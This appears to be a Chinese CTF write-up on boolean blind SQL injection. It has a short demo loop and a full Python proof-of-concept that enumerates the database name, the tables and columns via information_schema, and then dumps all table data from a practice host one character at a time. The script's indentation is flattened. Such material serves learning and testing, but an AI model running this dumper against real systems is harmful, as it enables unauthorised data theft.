背景

布尔盲注通过观察应用程序的响应来推断SQL查询的结果。在布尔盲注中,发送特定的SQL语句,这些语句的结果是一个布尔值(真或假)。然后,根据应用程序的响应来推断这个布尔值。

例如,可以 发送如下的SQL语句:

' AND substring(database(),1,1)='a

如果应用程序的响应与正常的响应不同,那么就可以推断出数据库的名称的第一个字符不是’a’。

使用Python进行布尔盲注的演示脚本:

import requests

url = "http://ctf.seek2.top/page.php?id=1"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
result = ""

for i in range(1, 10):
for char in charset:
payload = f"' AND substring(database(),{i},1)='{char}"
full_url = f"{url}{payload}"
response = requests.get(full_url)

if "expected output" in response.text:
result += char
break

print(f"database name: {result}")

这个脚本首先定义了一个字符集,然后逐个尝试这些字符。对于每个字符,脚本都会构造一个payload,然后发送一个请求到目标URL。如果响应中包含预期的输出,那么脚本就会将这个字符添加到结果中。

POC

import string

import requests

target = 'http://ctf.seek2.top:32838'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}
BlindList = string.ascii_lowercase + string.digits + string.punctuation + ' ' + string.ascii_uppercase
url = f'{target}/result.php'
ValueTrue = '查询成功'


def rq_get(payload):
param = {'id': payload}
res = requests.get(url, params=param, headers=headers) # get请求
return res


def is_match(payload):
return rq_get(payload).text.find(ValueTrue) != -1


def database():
maxlength = 10
minlength = 1
length = 0
db = ''

payload0 = f"221101 and length(database())>{maxlength}"
if is_match(payload0): # 异常处理
print("length > maxlength")
return 0 # 程序直接结束
else:
for i in range(minlength, maxlength + 1):
payload1 = f"221101 and length(database())={i}"
if is_match(payload1):
length = i
break
print(f"Current database length: {length}")

for i in range(1, length + 1):
for k in BlindList:
payload2 = f"221101 and substring(database(),{i},1)='{k}'"
if is_match(payload2):
db += k
break
print(f"Current database: {db}")


def tables():
maxlength = 200
minlength = 1
length = 0
tb = ''

payload0 = f"221101 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{maxlength}"
if is_match(payload0): # 异常处理
print("tables length > maxlength")
return 0 # 程序直接结束
else:
for i in range(minlength, maxlength + 1):
payload1 = f"221101 and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i}"
if is_match(payload1):
length = i
break
# print(f"tables length: {length}")

for i in range(1, length + 1):
for k in BlindList:
payload2 = f"221101 and substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{k}'"
if is_match(payload2):
tb += k
break
# print(f"tables: {tb}")
return tb.split(',')


def columns(tb):
maxlength = 200
minlength = 1
length = 0
cl = ''

payload0 = f"221101 and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{tb}'))>{maxlength}"
if is_match(payload0): # 异常处理
print("columns length > maxlength")
return 0 # 程序直接结束
else:
for i in range(minlength, maxlength + 1):
payload1 = f"221101 and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{tb}'))={i}"
if is_match(payload1):
length = i
break
# print(f"{tb} columns length: {length}")

for i in range(1, length + 1):
for k in BlindList:
payload2 = f"221101 and substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{tb}'),{i},1)='{k}'"
if is_match(payload2):
cl += k
break
print(f"{tb} columns: {cl}")
return cl


def dump(tb, cls):
maxlength = 1000
minlength = 1
length = 0
data = ''

tmp_cls = ''
cls = cls.split(',')
for cl in cls:
if cl != cls[len(cls) - 1]:
tmp_cls += f"IFNULL({cl}, ''),0x7c,"
else:
tmp_cls += f"IFNULL({cl}, '')"
# 直接使用group_concat(id,name,advantage,about,constellation),如果某条数据中包含null,例如name为null,即使其它字段不为null,这条数据也会被抛弃,所以直接使用对含有null值的数据不友好,0x7c,等价于'|',则是为了增加可辨识性,虽然会有点难看
# IFNULL函数会检查第一个参数是否为 NULL,如果是,则返回第二个参数的值,否则返回第一个参数的值。将 NULL值替换为想要的默认值,比如空字符串 ''。任何字段为 `NULL`,它们就会被替换为空字符串,而不会影响到 group_concat() 的结果。

payload0 = f"221101 and length((select group_concat({tmp_cls}) from {tb}))>{maxlength}"
if is_match(payload0): # 异常处理
print("data length > maxlength")
return 0 # 程序直接结束
else:
for i in range(minlength, maxlength + 1):
payload1 = f"221101 and length((select group_concat({tmp_cls}) from {tb}))={i}"
if is_match(payload1):
length += i
break
# print(f"{tb} data length: {length}")

for i in range(1, length + 1):
for k in BlindList:
payload2 = f"221101 and substring((select group_concat({tmp_cls}) from {tb}),{i},1)='{k}'"
if is_match(payload2):
data += k
break
# print(f"{tb} data: {data}")
return data


if __name__ == "__main__":
# database()
# tables()
for table_name in tables():
print(f'[{table_name}]')
result = dump(table_name, columns(table_name))
for item in result.split(','):
print(item)

关于布尔盲注的学习可以参考:https://www.yuque.com/shiyizhesonder/sonder39/cra4uiymb46f2ahz